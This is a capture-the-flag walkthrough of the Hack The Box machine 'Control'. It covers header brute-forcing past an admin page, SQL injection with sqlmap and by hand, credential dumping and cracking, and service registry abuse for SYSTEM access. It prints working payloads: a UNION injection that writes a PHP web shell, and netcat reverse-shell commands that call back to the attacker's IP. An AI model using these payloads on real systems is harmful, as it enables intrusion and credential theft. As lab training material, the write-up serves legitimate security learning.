Control was by far one of the hardest box I’ve ever done. It starts with bypassing restriction to admin.php by bruteforcing HTTP Headers using wFuzz. From there, I’ve exploited SQL vulnerability to obtain password hashes for multiple users and spawn PHP reverse shell. For privilege escalation 1, I cracked the password hash found from earlier and used it to create Powershell credential object, which is then used to spawn shell as the elevated user privilege. For obtaining Administrator privilege, I discovered Powershell History file which leads me to rewriting registry keys for the vulnerable services, which will spawn me a shell as the system.
Privilege Escalation from user Hector to Administrator was really painful since it required lot of Powershell scripting. I ended up following the Walkthrough listed at the references below.
Information Gathering
Rustscan
Rustscan finds HTTP, MSRPC, and MySQL running on the server.
Nmap
There’s nothing special from the nmap scan:
Enumeration
MySQL - TCP 3306
MySQL won’t allow login from my VPN IP address:
HTTP - TCP 80
The website seems to be for some sort of tech company and has menus on top right corner:
Source code has an interesting hidden information on it:
/admin.php
shows Access Denied, saying Header is missing and I have to go through the proxy to access the page:
Directory Bruteforce
Before trying to bypass admin.php restriction, I will first directory bruteforce using Feroxbuster:
sudo feroxbuster -u http://10.10.10.167 -n -x php -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -C 404
Feroxbuster discovers several interesting paths such as uploads.
I will do directory bruteforce once more on it:
sudo feroxbuster -u http://10.10.10.167/uploads -n -x php -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -C 404
HTTP Header Bruteforce
Here, I found bunch of HTTP Headers that I can bruteforce with.
I will first bruteforce headers with host IP address:
wfuzz -c -w headers.txt -u http://10.10.10.167/admin.php -H "FUZZ: 10.10.10.167"
It seems like Access Denied page has the size of 89 chars.
This time, I will filter out headers with size of 89 chars:
wfuzz -c -w headers.txt -u http://10.10.10.167/admin.php -H "FUZZ: 10.10.10.167" --hh 89
Several headers are found but none of them has the response code of 200.
Remembering the IP address from source code earlier, I will change the host IP address to IP address found from the source code:
wfuzz -c -w headers.txt -u http://10.10.10.167/admin.php -H "FUZZ: 192.168.4.28" --hh 89
It seems like X-FORWARDED-FOR: 192.168.4.28 will help to bypass the access denied page.
/admin.php
Now by intercepting the request to admin.php and adding X-FORWARDED-FOR: 192.168.4.28, I should be able to access admin.php:
admin.php seems to be a page where it helps to manage products such as to search, delete, and update:
Since modifying the header value everytime I move pages is annoying, I will use Firefox’s Modify-Header-Value to automate this:
I can set up the Header for http://10.10.10.167
as such, and now it automatically add the header everytime I move between pages:
SQLi to Shell
SQLMap
I will try adding ’ at the end of the product name to see if anything happens:
http://10.10.10.167/search_products.php
It seems like there is SQL running here with MariaDB at the background.
I will intercept the request to search_products.php
so that I can pass it on to sqlmap:
I will run sqlmap towards the request and it seems to be vulnerable to SQL injection:
sqlmap -r search-product-req.txt --dbs --batch
There are three databases running in the background: information_schema, mysql, and warehouse:
I will now query tables inside warehouse database:
sqlmap -r search-product-req.txt --dbs --batch -p productName -D warehouse --tables
There are three tables (product, product_category, and product_pack), and none of them looks very intriguing.
Now I will list tables in mysql database:
sqlmap -r search-product-req.txt --dbs --batch -p productName -D mysql --tables
user table looks interesting to me.
I will move on to dumping user table from mysql database:
sqlmap -r search-product-req.txt --dbs --batch -p productName -D mysql -T user --dump
Host | User | Password |
---|---|---|
localhost | root | *0A4A5CAD344718DC418035A1F4D292BA603134D8 |
fidelity | root | *0A4A5CAD344718DC418035A1F4D292BA603134D8 |
127.0.0.1 | root | *0A4A5CAD344718DC418035A1F4D292BA603134D8 |
::1 | root | *0A4A5CAD344718DC418035A1F4D292BA603134D8 |
localhost | manager | *CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA (l3tm3!n) |
localhost | hector | *0E178792E8FC304A2E3133D535D38CAF1DA3CD9D |
It discovers bunch of password hashes and password for user manager is cracked: l3tm3!n
I will try spawning os-shell just in case and it works:
sqlmap -r search-product-req.txt --dbs --batch -p productName --os-shell
Luckily, I can spawn a shell as the nt authority\iusr but it seems like I amd not able to spawn a reverse shell connection from this sqlmap shell connection to my local listener.
I would have to spawn a reverse shell through manual sql injection not using SQLmap.
Manual SQli
Although using tools such as sqlmap is convenient, it is best practice to understand what is going on when you run a tool. I can manually conduct SQLi without SQLmap as well.
Identify Number of Columns
We first have to identify number of columns.
When selecting 5 columns, it shows an error:
productName=Asus+USB-AC53+Nano' UNION SELECT 1,2,3,4,5;-- -
Selecting 6 columns works fine without any error, meaning there are 6 columns present at the database:
productName=Asus+USB-AC53+Nano' UNION SELECT 1,2,3,4,5,6;-- -
Current user and database
Using the command below, I can query current database and user which is warehouse and manager@localhost:
productName=Asus USB-AC53+Nano' UNION SELECT database(),user(),3,4,5,6;-- -
List Database
I can list databases using the command below: information_schema, mysql, warehouse
productName=Asus USB-AC53 Nano' UNION SELECT group_concat(schema_name),2,3,4,5,6 from information_schema.schemata;-- -
List Tables
I can list tables inside the database as such:
productName=Asus USB-AC53 Nano' UNION SELECT group_concat(table_name),2,3,4,5,6 from information_schema.tables where table_schema='warehouse';-- -
List columns
I can list coulmns inside table as such:
productName=Asus USB-AC53 Nano' UNION SELECT group_concat(column_name),2,3,4,5,6 from information_schema.columns where table_name='user';-- -
User, Password
I can read specific column fom the table as such:
productName=Asus USB-AC53 Nano' UNION SELECT user,password,3,4,5,6 from mysql.user;-- -
SQLi Shell
Using this article, I will be able to spawn a shell using SQL injection.
I will first upload PHP cmd shell to C:/inetpub/wwwroot/
as cmd.php:
productName=Asus USB-AC53 Nano' UNION SELECT '<?php system($_GET["cmd"]); ?>',2,3,4,5,6 into outfile 'c:/inetpub/wwwroot/cmd.php';-- -
I can confirm RCE working using curl as such:
curl -s 'http://10.10.10.167/cmd.php?cmd=whoami'
Now in order to spawn reverse shell, I will first transfer nc.exe over using smbserver.
Run impacket-smbserver on directory with nc.exe:
impacket-smbserver share $(pwd) -smb2support
I will save nc.exe to C:\Windows\Temp
using the command below:
curl -s 'http://10.10.10.167/cmd.php?cmd=copy+\\10.10.14.21\share\nc.exe+C%3a\Windows\Temp\nc.exe'
I can confirm nc.exe is transferred successfully:
Running nc.exe towards my local Kali lister, now I have shell as nt authority\iusr:
curl 'http://10.10.10.167/cmd.php?cmd=C%3a\Windows\Temp\nc.exe+-e+cmd.exe+10.10.14.21+1337'
Privesc: iusr to Hector
PowerUp.ps1
I will first start powershell session through powershell
command and download PowerUp.ps1:
copy \\10.10.14.21\share\PowerUp.ps1 C:\Windows\Temp\PowerUp.ps1
After running PowerUp.ps1, I can see the results using Invoke-AllChecks
:
PowerUp.ps1 find one thing interesting which is SeImpersonatePrivilege:
Before running JuicyPotato attack, I will first check systeminfo to make sure the version is vulnerable to JP attack.
Current user has no privilege to run systeminfo
:
Running nmap os scan, it guesses system is running on Microsofot Windows 2019 most likely:
sudo nmap -O 10.10.10.167 -v
Since Windows server 2019 is not vulnerable to JP attack, I will move on.
Local Enumerartion
On C:\Users
, there’s only one user other than Administrator: Hector
It seems like Hector is in Remote Management Users group:
net user hector
I can see that the host is listening on 5985 (WinRM), even though the firewall must be preventing me from seeing it from my box:
netstat -ano -p tcp
I will be able to execute commands as hector using powershell but I will need hector’s password.
Password Crack
Remembering password hash discovered from SQLi earlier, I will use crackstation to crack it: l33th4x0rhector
Run command as Hector
Now that I have password for user Hector, I will be able to run command as hector.
After starting Powershell using powershell
, I will create credential object:
Now using powershell’s cmdlet Invoke-Command and credential object, I can run commands as hector:
Invoke-Command -Computer localhost -Credential $Cred -ScriptBlock {whoami}
Shell as hector
Now that I can run commands as hector, I will once again try to spawn a reverse shell.
For some reason, hector cannot access the nc.exe file uploaded previously to C:\Windows\Temp
:
I will make one more copy of nc.exe to different directory:
copy \\10.10.14.21\share\nc.exe C:\Windows\system32\spool\drivers\color\nc.exe
Now I can successfully run the command:
Invoke-Command -Computer localhost -Credential $Cred -ScriptBlock {C:\Windows\system32\spool\drivers\color\nc.exe -e cmd 10.10.14.21 1338}
I have a reverse shell connection as hector:
Privesc: Hector to Administrator
Privilege escalation from Hector to Administrator was very overwhelming. I ended up following other’s write-ups in the end. I recommend to check out other’s write-ups if mine is not clear enough.
WinPEAS
WinPEAS.exe finds PS history file under C:\Users\Hector\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\
:
Following two commands are shown in the Powershell history:
These PowerShell commands are used for interacting with the Windows Registry and retrieving information about registry keys and their access control lists (ACLs).
-
Get-ChildItem HKLM:\SYSTEM\CurrentControlSet | Format-List
:- This command retrieves a list of child items (subkeys) under the
HKLM:\SYSTEM\CurrentControlSet
registry key. Get-ChildItem
is a cmdlet used to retrieve the child items (subkeys, properties, etc.) of a specified registry key.HKLM:
is the PowerShell provider alias for the HKEY_LOCAL_MACHINE registry hive.SYSTEM\CurrentControlSet
is the registry path from which child items are retrieved.Format-List
cmdlet is used to format the output as a list.
- This command retrieves a list of child items (subkeys) under the
-
Get-Acl HKLM:\SYSTEM\CurrentControlSet | Format-List
:- This command retrieves the access control list (ACL) of the
HKLM:\SYSTEM\CurrentControlSet
registry key. Get-Acl
is a cmdlet used to retrieve the ACL of a specified registry key or file system object.HKLM:\SYSTEM\CurrentControlSet
is the registry path for which the ACL is retrieved.Format-List
cmdlet is used to format the output as a list.
- This command retrieves the access control list (ACL) of the
get-childitem HKLM:\SYSTEM\CurrentControlset | format-list
will list out bunch of services:
get-acl HKLM:\SYSTEM\CurrentControlSet | format-list
will show the ACL:
There’s Audit Sddl at the end of the command output and it is impossible to read. I will have to decrypt it to make it readable.
Insecure ACLs abuse
Decrypt Sddl
I will first make Sddl readable using ConvertFrom-SddlString command as such:
Since the above is still not very pretty to read, I organized it below:
It seems like Hector got lot of rights towards editing services.
Exploitation
Hector has Read/Write access to a lot of registry entries related to services.
In order to get RCE as the system, I would need the following:
- I can edit registry entries as Hector
- I need to start and stop the service as Hector
- Serice is already configured to run as the LocalSystem
Command below, will save all the services under HKLM:\System\CurrentControlSet\Services to variables $services:
Command below will filter LocalSystem owned services from variable $services:
Command below will will filter LocalSystem owned services that user Hector can start from the variable $services:
I will save fs and filter out only pschildname from it as such:
Among all the services that satisfies my requirement, seclogon seems to be a good candidate:
sc query seclogon
I can retrieve registry information regarding seclogon as such:
reg query HKLM\System\CurrentControlSet\Services\seclogon
I’ll change the ImagePath of the service so it runs my netcat as SYSTEM.
I’ll start seclogon using sc start seclogon
:
Now I have shell as the system on my local listener:
References
- https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/BurpSuite-ParamMiner/uppercase-headers
- https://null-byte.wonderhowto.com/how-to/use-sql-injection-run-os-commands-get-shell-0191405/
- https://www.stationx.net/powershell-cheat-sheet/
- https://mostwanted002.gitlab.io/post/htb-control-writeup/
- https://snowscan.io/htb-writeup-control/#